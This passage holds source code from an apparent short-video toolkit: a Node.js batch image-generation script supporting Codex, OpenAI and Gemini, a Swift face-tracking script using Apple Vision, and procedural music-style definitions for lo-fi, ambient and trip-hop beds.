  log(JSON.stringify({ profile: IMG.provider || null, available: r, pick: pickProvider(true) }, null, 2));
  process.exit(0);
}

function pickProvider(soft) {
  const want = flag('provider') !== undefined && flag('provider') !== true ? flag('provider') : IMG.provider;
  if (want === 'none') { if (soft) return 'none'; throw new Error('image generation is off in the profile (images.provider = none): run studio-setup to turn it on'); }
  if (want) return want;
  if (codexReady()) return 'codex';
  if (KEYS.openai()) return 'openai';
  if (KEYS.gemini()) return 'gemini';
  if (soft) return null;
  throw new Error(`no image provider: install and log in to Codex (codex login), or put OPENAI_API_KEY / GEMINI_API_KEY in ${path.join(HOME, '.env')}`);
}

// ---- prompts
function readPrompts() {
  const src = flag('prompts'); if (!src || src === true) throw new Error('--prompts <json|file> is required');
  const raw = String(src).trim().startsWith('[') ? src : fs.readFileSync(expand(src), 'utf8');
  const arr = JSON.parse(raw); if (!Array.isArray(arr) || !arr.length) throw new Error('--prompts must be a non-empty JSON array');
  const ar = flag('ar', '2:3'), seen = new Set();
  return arr.map((e, i) => {
    const o = typeof e === 'string' ? { prompt: e } : e;
    let name = slug(o.name || o.prompt.split(/\s+/).slice(0, 5).join(' '));
    while (seen.has(name)) name += '-' + (i + 1); seen.add(name);
    const refs = (o.refs || (typeof flag('refs') === 'string' ? flag('refs').split(',') : [])).map(expand);
    for (const r of refs) if (!fs.existsSync(r)) throw new Error(`reference image missing: ${r}`);
    return { name, prompt: o.prompt, ar: o.ar || ar, refs };
  });
}
// the creator's look: style text + palette, so generated stills sit on the paper like the rest of the short
function styled(p) {
  if (flag('raw')) return p;
  const c = profile.colors, parts = [p];
  if (IMG.style) parts.push(`Visual style: ${IMG.style}.`);
  if (c && IMG.palette !== false) parts.push(`Color palette: background close to ${c.paper || '#F1EEE6'}, ink ${c.ink || '#14161B'}, one accent ${c.accent || '#258EFF'}.`);
  parts.push('No text, no letters, no watermark, no logo unless asked.');
  return parts.join('\n');
}
const SIZE = { '1:1': '1024x1024', '2:3': '1024x1536', '3:2': '1536x1024', '9:16': '1024x1824', '16:9': '1824x1024' };
const MIME = { '.png': 'image/png', '.jpg': 'image/jpeg', '.jpeg': 'image/jpeg', '.webp': 'image/webp' };
const mime = f => MIME[path.extname(f).toLowerCase()] || 'image/png';

// ---- providers: each returns { buf, ext }
async function openai(job, model) {
  const k = KEYS.openai(); if (!k) throw new Error(`OPENAI_API_KEY missing (env or ${path.join(HOME, '.env')})`);
  // refs go to the edits endpoint (multipart, one image[] per reference), plain prompts to generations
  let body = JSON.stringify({ model, prompt: job.full, size: SIZE[job.ar] || '1024x1536', n: 1 }), headers = { authorization: `Bearer ${k}`, 'content-type': 'application/json' };
  if (job.refs.length) {
    body = new FormData(); headers = { authorization: `Bearer ${k}` };
    for (const [f, v] of Object.entries({ model, prompt: job.full, size: SIZE[job.ar] || '1024x1536', n: '1' })) body.append(f, v);
    for (const r of job.refs) body.append('image[]', new Blob([fs.readFileSync(r)], { type: mime(r) }), path.basename(r));
  }
  const r = await fetch(`https://api.openai.com/v1/images/${job.refs.length ? 'edits' : 'generations'}`, { method: 'POST', headers, body, signal: AbortSignal.timeout(300000) });
  if (!r.ok) throw new Error(`OpenAI HTTP ${r.status}: ${(await r.text()).slice(0, 300)}`);
  const j = await r.json(), b = j.data?.[0]?.b64_json; if (!b) throw new Error('OpenAI returned no image');
  return { buf: Buffer.from(b, 'base64'), ext: '.png' };
}
async function gemini(job, model) {
  const k = KEYS.gemini(); if (!k) throw new Error(`GEMINI_API_KEY missing (env or ${path.join(HOME, '.env')})`);
  // current shape (v1, responseFormat.image) first, then the older v1beta imageConfig shape
  const bodies = [
    ['v1', { responseModalities: ['IMAGE'], responseFormat: { image: { aspectRatio: job.ar } } }],
    ['v1beta', { responseModalities: ['IMAGE'], imageConfig: { aspectRatio: job.ar } }],
  ];
  // refs ride along as image parts before the prompt (the model reads them as the character / style to keep)
  const parts = [...job.refs.map(f => ({ inlineData: { mimeType: mime(f), data: fs.readFileSync(f).toString('base64') } })), { text: job.full }];
  let last;
  for (const [ver, gc] of bodies) {
    const r = await fetch(`https://generativelanguage.googleapis.com/${ver}/models/${model}:generateContent`, {
      method: 'POST', headers: { 'x-goog-api-key': k, 'content-type': 'application/json' },
      body: JSON.stringify({ contents: [{ parts }], generationConfig: gc }), signal: AbortSignal.timeout(300000),
    });
    if (!r.ok) { last = `Gemini HTTP ${r.status}: ${(await r.text()).slice(0, 300)}`; if (r.status === 400 || r.status === 404) continue; throw new Error(last); }
    const j = await r.json(), part = (j.candidates?.[0]?.content?.parts || []).find(p => p.inlineData?.data);
    if (!part) throw new Error('Gemini returned no image (prompt blocked?)');
    return { buf: Buffer.from(part.inlineData.data, 'base64'), ext: part.inlineData.mimeType === 'image/jpeg' ? '.jpg' : '.png' };
  }
  throw new Error(last);
}
function listGen() {
  const out = new Map(); if (!fs.existsSync(GEN)) return out;
  const walk = d => { for (const e of fs.readdirSync(d, { withFileTypes: true })) { const f = path.join(d, e.name); if (e.isDirectory()) walk(f); else if (/\.(png|jpe?g|webp)$/i.test(e.name)) out.set(f, fs.statSync(f).mtimeMs); } };
  walk(GEN); return out;
}
async function codex(job, model, outDir) {
  const before = listGen(), t0 = Date.now();
  const prompt = ['You are running inside a batch image-generation automation.',
    'Use your built-in image_gen tool to generate exactly one raster image for the prompt below.',
    `Aspect ratio: ${job.ar} (${job.ar === '1:1' ? 'square' : +job.ar.split(':')[0] > +job.ar.split(':')[1] ? 'landscape' : 'portrait'}).`,
    ...(job.refs.length ? [`Reference images (attached, and on disk): ${job.refs.join(', ')}. Pass these exact absolute paths to image_gen as referenced_image_paths and follow them closely (same character, same drawing style).`] : []),
    'Do not edit or create any file. Do not ask follow-up questions. Do not generate SVG, HTML or placeholders.',
    'After generation reply with exactly: IMAGE_PATH: <absolute generated image path>', '', 'Image prompt:', job.full].join('\n');
  const args = ['--ask-for-approval', 'never', '--sandbox', 'read-only', 'exec', '--skip-git-repo-check', '--cd', outDir];
  if (model) args.push('--model', model);
  for (const r of job.refs) args.push(`--image=${r}`);
  args.push('-');
  const logF = path.join(outDir, 'logs', `${job.name}.log`); fs.mkdirSync(path.dirname(logF), { recursive: true });
  const text = await new Promise(res => {
    const ch = spawn(CODEX, [...CODEX_ARGS, ...args], { stdio: ['pipe', 'pipe', 'pipe'] }); let s = '';
    ch.stdout.on('data', b => s += b); ch.stderr.on('data', b => s += b);
    ch.on('error', e => res(s + '\nERROR ' + e.message)); ch.on('close', () => res(s));
    ch.stdin.end(prompt);   // closes stdin: codex exec reads it to EOF before starting
  });
  fs.writeFileSync(logF, text);
  const sid = text.match(/session id:\s*([0-9a-f-]+)/i)?.[1];
  const fresh = [...listGen()].filter(([f, m]) => !before.has(f) && m >= t0 - 5000);
  const reported = [...text.matchAll(/IMAGE_PATH:\s*(\S+\.(?:png|jpe?g|webp))/gi)].map(m => m[1]).filter(f => fs.existsSync(f));
  const pick = reported.at(-1) || fresh.filter(([f]) => sid && f.includes(sid)).map(([f]) => f).at(-1) || (fresh.length === 1 ? fresh[0][0] : null);
  if (!pick) throw new Error(`codex produced no image (log: ${logF})`);
  return { buf: fs.readFileSync(pick), ext: path.extname(pick).toLowerCase() };
}

// ---- run
// the profile model only goes with the profile provider (a --provider switch takes that provider's default model)
const provider = pickProvider(false), model = flag('model') !== undefined && flag('model') !== true ? flag('model') : (!IMG.provider || IMG.provider === provider) && IMG.model || DEFAULT_MODEL[provider];
const run = { codex, openai, gemini }[provider]; if (!run) throw new Error(`unknown provider ${provider} (codex, openai, gemini)`);
const jobs = readPrompts().map(j => ({ ...j, full: styled(j.prompt) }));
const outDir = expand(flag('out', 'images')); fs.mkdirSync(outDir, { recursive: true });
log(`images: ${jobs.length} with ${provider}${model ? ' ' + model : ''} -> ${outDir}`);
if (flag('dry-run')) { for (const j of jobs) log(`\n--- ${j.name} (${j.ar})\n${j.full}`); process.exit(0); }

const conc = Math.max(1, +flag('concurrency', provider === 'codex' ? 2 : 3)), results = [];
let next = 0;
await Promise.all(Array.from({ length: Math.min(conc, jobs.length) }, async () => {
  while (next < jobs.length) {
    const j = jobs[next++], t = Date.now();
    const done = flag('skip-existing') && ['.png', '.jpg', '.jpeg', '.webp'].map(e => path.join(outDir, j.name + e)).find(f => fs.existsSync(f));
    if (done) { results.push({ name: j.name, prompt: j.prompt, file: done, skipped: true }); log(`  skip ${done}`); continue; }
    try {
      const { buf, ext } = await run(j, model, outDir), file = path.join(outDir, j.name + ext);
      fs.writeFileSync(file, buf); results.push({ name: j.name, prompt: j.prompt, ar: j.ar, file, provider, model: model || null });
      log(`  ok ${file} (${((Date.now() - t) / 1000).toFixed(0)}s)`);
    } catch (e) { results.push({ name: j.name, prompt: j.prompt, error: e.message }); log(`  FAILED ${j.name}: ${e.message}`); }
  }
}));
fs.writeFileSync(path.join(outDir, 'manifest.json'), JSON.stringify({ createdAt: new Date().toISOString(), provider, model: model || null, images: results }, null, 2) + '\n');
const bad = results.filter(r => r.error).length;
log(`${results.length - bad}/${jobs.length} images, manifest ${path.join(outDir, 'manifest.json')}`);
process.exit(bad ? 1 : 0);

// Face track for the camera frames (Apple Vision), used by over-camera props (e.g. a hat on the head).
//   swift faces.swift <camDir> <out.json>
// Reads <camDir>/%05d.jpg in order, writes [[cx, cy, w, h, roll], ...] per frame in cam-frame px (y down),
// gaps filled from the nearest detection, then smoothed with a centred moving average (no jitter).
import Foundation
import Vision
import CoreImage

let a = CommandLine.arguments
guard a.count == 3 else { print("usage: swift faces.swift <camDir> <out.json>"); exit(1) }
let dir = URL(fileURLWithPath: a[1])
let files = (try FileManager.default.contentsOfDirectory(atPath: dir.path)).filter { $0.hasSuffix(".jpg") }.sorted()
var raw: [[Double]?] = []
for (i, f) in files.enumerated() {
  guard let img = CIImage(contentsOf: dir.appendingPathComponent(f)) else { raw.append(nil); continue }
  let W = Double(img.extent.width), H = Double(img.extent.height)
  let req = VNDetectFaceRectanglesRequest()
  try VNImageRequestHandler(ciImage: img, options: [:]).perform([req])
  let best = (req.results ?? []).max { $0.boundingBox.width < $1.boundingBox.width }
  if let b = best?.boundingBox {
    raw.append([Double(b.midX) * W, (1 - Double(b.midY)) * H, Double(b.width) * W, Double(b.height) * H, -(best?.roll?.doubleValue ?? 0)])
  } else { raw.append(nil) }
  if i % 200 == 0 { print("faces \(i + 1)/\(files.count)") }
}
// fill gaps
var filled = raw
var last: [Double]? = raw.first { $0 != nil } ?? nil
for i in 0..<filled.count { if let v = filled[i] { last = v } else { filled[i] = last } }
// centred moving average, radius 3 frames
let r = 3
var out: [[Double]] = []
for i in 0..<filled.count {
  var acc = [0.0, 0, 0, 0, 0], n = 0.0
  for j in max(0, i - r)...min(filled.count - 1, i + r) { if let v = filled[j] { for k in 0..<5 { acc[k] += v[k] }; n += 1 } }
  out.append(n > 0 ? acc.map { ($0 / n * 10).rounded() / 10 } : [0, 0, 0, 0, 0])
}
let data = try JSONSerialization.data(withJSONObject: out)
try data.write(to: URL(fileURLWithPath: a[2]))
print("faces done: \(out.count) frames, \(raw.filter { $0 != nil }.count) detected")

// The procedural bed styles. prog: {b: bass midi, v: chord voicing[, l: left hand, p: pad voicing]}, cb = bars per chord.
// parts(S) builds the track part by part; db is the part loudness relative to the others, rv/dl are reverb and delay sends.
import { ep, piano, kal, mar, vib, bell, pad, sub, upright, syn, flute, kick, snare, rim, hat, shaker, brush, brushTap, ride, tick, hand, vinyl, hiss, wind, filt, drive, autopan, trem, crush, pump } from './chill-synth.js';

export const STYLES = {};

STYLES['lofi-nuit'] = {
  name: 'Nuit lo-fi', mood: 'chill', desc: 'Rhodes feutré, vinyle, kick doux, mélodie en écho',
  bpm: 74, swing: .6, cb: 1, tone: 10000, air: 7, mud: 2.5, wow: [.8, .45, .06],
  verb: { room: .8, damp: .55, db: -12 }, dly: { t: .75, fb: .38, db: -19 },
  prog: [{ b: 34, v: [50, 57, 60, 65] }, { b: 33, v: [48, 55, 59, 64] }, { b: 31, v: [46, 53, 57, 62] }, { b: 36, v: [46, 53, 55, 62] }],
  form: [['intro', 4, 'keys tex'], ['a', 8, '+bass kick'], ['b', 8, 'keys tex bass drums pad'], ['c', 8, '+mel'], ['brk', 4, 'keys tex pad'], ['d', 8, 'keys tex bass drums pad mel'], ['out', 4, 'keys tex pad']],
  parts(S) {
    const { beat, at, end, fin } = S;
    const A = [[0, .5, 1, 72], [0, 1.5, .5, 74], [0, 2, 2, 69], [1, .5, .5, 67], [1, 1, 1, 69], [1, 2.5, 1.5, 64], [2, .5, 1, 65], [2, 1.5, .5, 69], [2, 2, 1.5, 70], [3, 1, 3, 67]];
    const B2 = [[0, .5, 1, 72], [0, 1.5, .5, 74], [0, 2, 1, 77], [0, 3, 1, 76], [1, .5, 2, 72], [1, 2.5, 1.5, 71], [2, .5, 1, 70], [2, 1.5, .5, 69], [2, 2, 2, 65], [3, 0, .5, 67], [3, .5, 3, 65]];
    S.part({ db: -6, rv: .3, dl: .06, fx: B => { autopan(B, .35, .25); filt(B, 'lp', 4800); drive(B, 1.3); } }, B => {
      S.each('keys', b => {
        S.strum(B, at(b, 0, .012), b.ch.v, 3.4 * beat, .55, ep);
        if (b.k % 2 && b.has('bass')) S.strum(B, at(b, 2.5, .012), b.ch.v.slice(1), 1.3 * beat, .38, ep);
      });
      S.strum(B, end, fin.v, 5, .5, ep);
    });
    S.part({ db: -10, rv: .35, dl: .45, fx: B => filt(B, 'lp', 6500) }, B => S.play('mel', [A, B2], 4, (t, m, len, v) => ep(B, t, m, len, .5 * v, .15)));
    S.part({ db: -10, fx: B => filt(B, 'lp', 380) }, B => {
      S.each('bass', b => {
        const r = b.ch.b; sub(B, at(b, 0), r, 1.6 * beat, .9); sub(B, at(b, 2.5), b.k % 4 === 3 ? r + 7 : r, .9 * beat, .7);
        if (b.k % 2) sub(B, at(b, 3.5), r + 12, .4 * beat, .5);
      });
      sub(B, end, fin.b, 4, .8, { rel: .8 });
    });
    S.part({ db: -12, rv: .05, fx: B => { crush(B, 2, 12); filt(B, 'lp', 9000); drive(B, 1.6); } }, B => {
      for (const b of S.bars) {
        const full = b.has('drums'); if (!full && !b.has('kick')) continue;
        kick(B, at(b, 0), .95); kick(B, at(b, 2.5), .8); if (b.k % 4 === 3) kick(B, at(b, 3.75), .6);
        for (let i = 0; i < 8; i++) hat(B, at(b, i * .5), (i % 2 ? .45 : .7) * (full ? 1 : .7), .25);
        if (full) { snare(B, at(b, 1, .01), .8, { dk: 14 }); snare(B, at(b, 3, .01), .85, { dk: 14 }); }
      }
    });
    S.part({ db: -15, rv: .5 }, B => {
      for (const c of S.chords('pad')) pad(B, c.t0, c.t1, c.ch.v.map(m => m + 12), { wave: 'tri', cut: 2200, att: 1.2, rel: 1.6, vo: 2, det: 6 });
      pad(B, end, end + 3, fin.v.map(m => m + 12), { wave: 'tri', cut: 2200, att: .3, rel: 3, vo: 2, det: 6 });
    });
    S.part({ db: -22 }, B => { vinyl(B, 1); hiss(B, 6000); });
  },
};

STYLES.enquete = {
  name: 'Enquête', mood: 'tension', desc: 'Drone grave, pulse filtré, battement de coeur, piano feutré',
  bpm: 90, cb: 2,
  verb: { room: .88, damp: .5, db: -9 }, dly: { t: .75, fb: .45, db: -16 },
  prog: [{ b: 33, v: [57, 60, 64, 71] }, { b: 29, v: [57, 60, 64, 71] }, { b: 33, v: [57, 60, 64, 71] }, { b: 34, v: [57, 62, 64, 69] }],
  form: [['intro', 4, 'drone tick'], ['a', 12, '+pad pulse'], ['b', 16, '+heart keys'], ['brk', 8, 'drone pad keys'], ['c', 12, 'drone pad pulse tick heart keys high'], ['out', 4, 'drone pad keys']],
  parts(S) {
    const { beat, at, end, fin } = S;
    const A = [[0, 0, 2, 76], [1, 1, 3, 71], [2, 0, 2, 76], [2, 2.5, 1.5, 71], [3, 2, 2, 69], [4, 0, 2, 76], [4, 2, 2, 77], [5, 0, 4, 76], [6, 0, 2, 77], [6, 2, 2, 74], [7, 0, 3, 76]];
    const B2 = [[0, 0, 3, 72], [1, 2, 2, 71], [2, 0, 4, 69], [4, 0, 2, 72], [4, 2, 2, 76], [5, 2, 2, 77], [6, 0, 4, 74], [7, 2, 2, 76]];
    S.part({ db: -11, rv: .4 }, B => { for (const s of S.spans('drone')) pad(B, s.t0, s.t1, [45, 52], { cut: 420, depth: .45, lfo: .03, att: 3, rel: 4, vo: 3, det: 7 }); });
    S.part({ db: -13, rv: .5 }, B => {
      for (const c of S.chords('pad')) pad(B, c.t0, c.t1, c.ch.v, { cut: 950, att: 2.2, rel: 2.5, vo: 3 });
      pad(B, end, end + 3, fin.v, { cut: 900, att: 1, rel: 3 });
    });
    const pc = S.auto({ intro: 380, a: 420, b: 560, brk: 420, c: 680, out: 420 });
    S.part({ db: -11, rv: .2, dl: .25, fx: B => filt(B, 'hp', 90) }, B => S.each('pulse', b => {
      for (let i = 0; i < 8; i++) { const t = at(b, i * .5); syn(B, t, b.ch.b + 12, .4 * beat, i % 2 ? .6 : .85, i % 2 ? .2 : -.2, { cut: pc(t), env: 1.2, dk: 14, q: 1.3, sq: .3, sus: .1 }); }
    }));
    S.part({ db: -14 }, B => { for (const c of S.chords('pulse')) sub(B, c.t0, c.ch.b, c.t1 - c.t0, .8, { att: .3, rel: .4 }); });
    const H = { f0: 70, f1: 42, pd: 16, dk: 9, dr: 1.2 };
    S.part({ db: -15, fx: B => filt(B, 'lp', 180) }, B => S.each('heart', b => { for (const p of [0, 2]) { kick(B, at(b, p), .9, H); kick(B, at(b, p + .4), .6, H); } }));
    S.part({ db: -22 }, B => S.each('tick', b => { for (let i = 0; i < 4; i++) tick(B, at(b, i), i % 2 ? .6 : .8, i % 2 ? 1180 : 1520, i % 2 ? .3 : -.3); }));
    S.part({ db: -8, rv: .55, dl: .25 }, B => {
      S.play('keys', [A, B2], 8, (t, m, len, v) => piano(B, t, m, len, .42 * v, .1));
      S.strum(B, end, [45, 52, ...fin.v], 6, .35, piano, .03);
    });
    S.part({ db: -19, rv: .6 }, B => { for (const s of S.spans('high')) pad(B, s.t0, s.t1, [76, 81], { wave: 'glass', cut: 5000, att: 4, rel: 4, vo: 2, det: 4 }); });
    S.part({ db: -28 }, B => wind(B));
  },
};

STYLES.nappe = {
  name: 'Nappe', mood: 'ambient', desc: 'Nappes lentes, cloches lointaines, aucun rythme',
  bpm: 60, cb: 4, tail: 8, mud: 3,
  verb: { room: .92, damp: .45, db: -6 }, dly: { t: 1.5, fb: .5, db: -11 },
  prog: [{ b: 40, v: [52, 59, 63, 66, 68] }, { b: 37, v: [56, 59, 63, 64, 68] }, { b: 33, v: [56, 61, 63, 64, 71] }, { b: 35, v: [56, 59, 64, 66, 71] }],
  form: [['intro', 4, 'pad wind'], ['a', 12, '+sub low glass'], ['b', 16, '+bells'], ['out', 4, 'pad wind glass bells']],
  parts(S) {
    const { at, end, fin, rand, rnd } = S;
    S.part({ db: -8, rv: .6, dl: .1 }, B => { for (const c of S.chords('pad')) pad(B, c.t0, c.t1, c.ch.v, { cut: 800, att: 3, rel: 3.5, det: 10, vo: 3, lfo: .04, depth: .35 }); });
    S.part({ db: -13, rv: .4 }, B => { for (const c of S.chords('low')) pad(B, c.t0, c.t1, [c.ch.b + 12, c.ch.b + 19], { wave: 'tri', cut: 1200, att: 3, rel: 3, vo: 2, det: 5 }); });
    S.part({ db: -14 }, B => { for (const c of S.chords('sub')) sub(B, c.t0, c.ch.b, c.t1 - c.t0, .7, { att: 1.5, rel: 1.2 }); });
    S.part({ db: -16, rv: .7 }, B => { for (const c of S.chords('glass')) pad(B, c.t0, c.t1, c.ch.v.slice(-2).map(m => m + 12), { wave: 'glass', cut: 6000, att: 4, rel: 4, vo: 2, det: 4 }); });
    S.part({ db: -14, rv: .5, dl: .5 }, B => {
      S.each('bells', b => { for (let i = 0; i < 4; i++) if (rand() < .3) bell(B, at(b, i), b.ch.v[Math.floor(rand() * b.ch.v.length)] + 12, 3, .4 + .3 * rand(), rnd() * .5, { tau: 2.2 }); });
      fin.v.slice(1).forEach((m, i) => bell(B, end + i * .35, m + 12, 5, .45, (i % 2 ? .3 : -.3), { tau: 2.5 }));
    });
    S.part({ db: -24 }, B => wind(B));
  },
};

STYLES['piano-feutre'] = {
  name: 'Piano feutré', mood: 'chill', desc: 'Piano feutré intime, cordes douces, souffle de bande',
  bpm: 68, cb: 1, hum: .012, tone: 9000, tail: 7, air: 7, mud: 2.5,
  verb: { room: .82, damp: .5, db: -10 },
  prog: [{ b: 41, l: [41, 48], v: [56, 60, 63, 67] }, { b: 37, l: [37, 44], v: [56, 60, 63, 65] }, { b: 44, l: [44, 51], v: [58, 60, 63, 67] }, { b: 39, l: [39, 46], v: [56, 58, 63, 65] }],
  form: [['intro', 4, 'rh tex'], ['a', 8, 'lh rh tex'], ['b', 12, '+mel str'], ['brk', 4, 'lh tex str'], ['c', 8, 'lh rh mel str tex'], ['out', 4, 'lh rh tex']],
  parts(S) {
    const { beat, at, end, fin, rand } = S;
    const RH = [[.5, 0], [1, 1], [1.5, 2], [2, 3], [2.5, 2], [3, 1], [3.5, 2]], SOFT = [[.5, 0], [1.5, 2], [2.5, 1], [3.5, 3]];
    const A = [[0, 0, 1.5, 72], [0, 1.5, .5, 75], [0, 2, 2, 79], [1, 0, 2, 77], [1, 2, 1, 75], [1, 3, 1, 72], [2, 0, 3, 75], [2, 3, 1, 70], [3, 0, 4, 72]];
    const B2 = [[0, 0, 1.5, 72], [0, 1.5, .5, 75], [0, 2, 2, 80], [1, 0, 2, 79], [1, 2, 2, 77], [2, 0, 2, 75], [2, 2, 2, 72], [3, 0, 4, 70]];
    S.part({ db: -6, rv: .45, fx: B => { filt(B, 'lp', 2600); drive(B, 1.2); } }, B => {
      S.each('lh', b => { piano(B, at(b, 0), b.ch.l[0], 3.6 * beat, .4, -.2); piano(B, at(b, 2), b.ch.l[1], 1.6 * beat, .26, -.15); });
      S.each('rh', b => { for (const [p, i] of b.has('lh') ? RH : SOFT) piano(B, at(b, p), b.ch.v[i], 1.3 * beat, .24 + .06 * rand(), .2); });
      S.strum(B, end, [...fin.l, ...fin.v], 6, .32, piano, .035);
    });
    S.part({ db: -9, rv: .5 }, B => S.play('mel', [A, B2], 4, (t, m, len, v) => piano(B, t, m, len, .38 * v, .05)));
    S.part({ db: -15, rv: .5 }, B => { for (const c of S.chords('str')) pad(B, c.t0, c.t1, c.ch.v.map(m => m - 12), { cut: 1100, att: 2, rel: 2.5, vib: .0025 }); });
    S.part({ db: -30 }, B => hiss(B, 4500));
  },
};

STYLES.dub = {
  name: 'Dub', mood: 'stylé', desc: 'Accords dub en écho, sub rond, kick feutré',
  bpm: 112, cb: 8, tail: 7,
  verb: { room: .9, damp: .5, db: -10 }, dly: { t: .75, fb: .55, lp: 1800, db: -8 },
  prog: [{ b: 36, v: [51, 55, 58, 62] }, { b: 41, v: [51, 55, 56, 60] }],
  form: [['intro', 8, 'stab tex'], ['a', 16, '+kick sub'], ['b', 16, '+hat'], ['brk', 8, 'stab tex sub'], ['c', 16, 'stab tex kick sub hat'], ['out', 4, 'stab tex']],
  parts(S) {
    const { beat, at, end, fin, rand } = S;
    const STAB = [[.5, 2.5], [.5, 2.5], [.5, 1.75, 2.5], [.5, 2.5, 3.5]], sc = S.auto({ intro: 500, a: 650, b: 900, brk: 600, c: 1000, out: 550 });
    const o = t => ({ cut: sc(t), env: .9, dk: 22, q: 1.5, sq: .15, det: 9, sus: .15 });
    S.part({ db: -8, dl: .9, rv: .15, fx: B => filt(B, 'hp', 160) }, B => {
      S.each('stab', b => { for (const p of STAB[b.k % 4]) { const t = at(b, p); syn(B, t, b.ch.v, .28 * beat, .7 + .15 * rand(), 0, o(t)); } });
      syn(B, end, fin.v, .5 * beat, .8, 0, o(end));
    });
    const K = { f0: 85, f1: 46, pd: 26, dk: 7.5, dr: 1.3 };
    S.part({ db: -13, fx: B => filt(B, 'lp', 220) }, B => S.each('kick', b => { for (let i = 0; i < 4; i++) kick(B, at(b, i), i % 2 ? .85 : .95, K); }));
    S.part({ db: -21, rv: .1, dl: .1 }, B => S.each('hat', b => {
      for (let i = 0; i < 4; i++) hat(B, at(b, i + .5), .6, .3, true);
      for (let i = 0; i < 16; i++) shaker(B, at(b, i * .25), i % 2 ? .35 : .5, -.35);
      if (b.k % 8 === 7) rim(B, at(b, 3.75), .7, .2);
    }));
    S.part({ db: -11 }, B => { S.each('sub', b => sub(B, at(b, 0), b.ch.b, 3.7 * beat, .85)); sub(B, end, fin.b, 3, .8, { rel: .6 }); });
    S.part({ db: -27 }, B => { hiss(B, 5000); vinyl(B, .7); });
  },
};

STYLES.arpege = {
  name: 'Arpège sombre', mood: 'tension', desc: 'Arpège synthé qui s\'ouvre lentement, basse pulsée, lead lointain',
  bpm: 96, cb: 2, tone: 8500, tail: 7,
  verb: { room: .86, damp: .5, db: -10 }, dly: { t: .75, fb: .45, db: -14 },
  prog: [{ b: 38, v: [50, 57, 62, 65], p: [57, 62, 65, 69] }, { b: 34, v: [50, 53, 58, 62], p: [58, 62, 65, 70] }, { b: 31, v: [50, 55, 58, 62], p: [55, 62, 67, 70] }, { b: 33, v: [49, 52, 57, 61], p: [57, 61, 64, 69] }],
  form: [['intro', 4, 'arp pad'], ['a', 12, '+bass'], ['b', 16, '+kick'], ['brk', 4, 'arp pad'], ['c', 16, 'arp pad bass kick hat lead'], ['out', 4, 'arp pad']],
  parts(S) {
    const { beat, at, end, fin } = S;
    const ARP = [0, 1, 2, 3, 2, 1, 2, 3], ac = S.auto({ intro: 420, a: 600, b: 850, brk: 520, c: 1200, out: 450 });
    const LEAD = [[0, 0, 6, 74], [1, 2, 2, 76], [2, 0, 6, 77], [3, 2, 2, 74], [4, 0, 6, 74], [5, 2, 2, 70], [6, 0, 4, 73], [7, 0, 4, 76]];
    S.part({ db: -9, rv: .2, dl: .3, fx: B => filt(B, 'hp', 120) }, B => S.each('arp', b => {
      for (let i = 0; i < 16; i++) { const t = at(b, i * .25); syn(B, t, b.ch.v[ARP[i % 8]] + (i % 16 === 11 ? 12 : 0), .22 * beat, i % 4 ? .6 : .85, (i % 2 ? .25 : -.25), { cut: ac(t), env: 1.6, dk: 18, q: 1.7, sq: .5, sus: .1 }); }
    }));
    S.part({ db: -13, rv: .5 }, B => {
      for (const c of S.chords('pad')) pad(B, c.t0, c.t1, c.ch.p, { cut: 1400, att: 1.5, rel: 2, vo: 3 });
      pad(B, end, end + 3, fin.p, { cut: 1200, att: .5, rel: 3.5 });
    });
    S.part({ db: -11, fx: B => filt(B, 'lp', 900) }, B => S.each('bass', b => { for (let i = 0; i < 8; i++) syn(B, at(b, i * .5), b.ch.b, .4 * beat, i % 2 ? .65 : .85, 0, { cut: 260, env: .8, dk: 10, q: 1, sus: .2 }); }));
    S.part({ db: -14 }, B => { for (const c of S.chords('bass')) sub(B, c.t0, c.ch.b, c.t1 - c.t0, .7, { att: .2, rel: .3 }); sub(B, end, fin.b, 3, .7, { rel: .8 }); });
    S.part({ db: -14, rv: .05 }, B => {
      S.each('kick', b => { kick(B, at(b, 0), .95); kick(B, at(b, 2), .85); });
      S.each('hat', b => { for (let i = 0; i < 4; i++) hat(B, at(b, i + .5), .55, .3); });
    });
    S.part({ db: -11, rv: .4, dl: .35 }, B => S.play('lead', [LEAD], 8, (t, m, len, v) => syn(B, t, m, len, .7 * v, .1, { cut: 1800, env: .4, dk: 3, q: .8, att: .03, rel: .3, sus: .8, det: 4, vib: .004 })));
  },
};

STYLES['trip-hop'] = {
  name: 'Trip-hop', mood: 'tension douce', desc: 'Beat lent et lourd, Rhodes en tremolo, vibraphone sombre',
  bpm: 82, cb: 2, swing: .56, tone: 9500, air: 6, mud: 1.5, wow: [.9, .4, .05],
  verb: { room: .85, damp: .5, db: -10 }, dly: { t: 1.5, fb: .35, db: -18 },
  prog: [{ b: 40, v: [55, 59, 62, 66] }, { b: 36, v: [55, 59, 64, 66] }, { b: 33, v: [55, 59, 60, 64] }, { b: 35, v: [54, 57, 60, 63] }],
  form: [['intro', 4, 'keys tex'], ['a', 12, '+drums bass'], ['b', 16, '+vib'], ['brk', 8, 'keys tex str'], ['c', 8, 'keys tex drums bass vib str'], ['out', 4, 'keys tex']],
  parts(S) {
    const { beat, at, end, fin } = S;
    const VIB = [[0, 0, 1, 71], [0, 1, 1, 74], [0, 2, 2, 78], [1, 0, 3, 76], [1, 3, 1, 74], [2, 0, 2, 79], [2, 2, 1, 78], [2, 3, 1, 76], [3, 0, 4, 71], [4, 0, 1, 72], [4, 1, 1, 76], [4, 2, 2, 79], [5, 0, 2, 83], [5, 2, 2, 81], [6, 0, 2, 75], [6, 2, 2, 72], [7, 0, 2, 71], [7, 2, 2, 69]];
    S.part({ db: -7, rv: .3, fx: B => { autopan(B, 1.4, .3); filt(B, 'lp', 3000); drive(B, 1.4); } }, B => {
      S.each('keys', b => b.k % 2 ? S.strum(B, at(b, 2.5, .01), b.ch.v.slice(1), 1.4 * beat, .4, ep) : S.strum(B, at(b, 0, .01), b.ch.v, 7.4 * beat, .55, ep));
      S.strum(B, end, fin.v, 6, .5, ep);
    });
    const TK = { f0: 95, f1: 44, pd: 22, dk: 5.5, dr: 1.5 }, SN = { tone: 175, fc: 1500, dk: 11 };
    S.part({ db: -11, rv: .08, fx: B => { crush(B, 2, 11); filt(B, 'lp', 8500); drive(B, 1.8); } }, B => S.each('drums', b => {
      kick(B, at(b, 0), 1, TK); kick(B, at(b, 2.5), .85, TK); if (b.k % 2) kick(B, at(b, 2.75), .5, TK);
      snare(B, at(b, 1, .015), .85, SN); snare(B, at(b, 3, .015), .9, SN);
      for (let i = 0; i < 8; i++) hat(B, at(b, i * .5), i % 2 ? .35 : .55, .2);
    }));
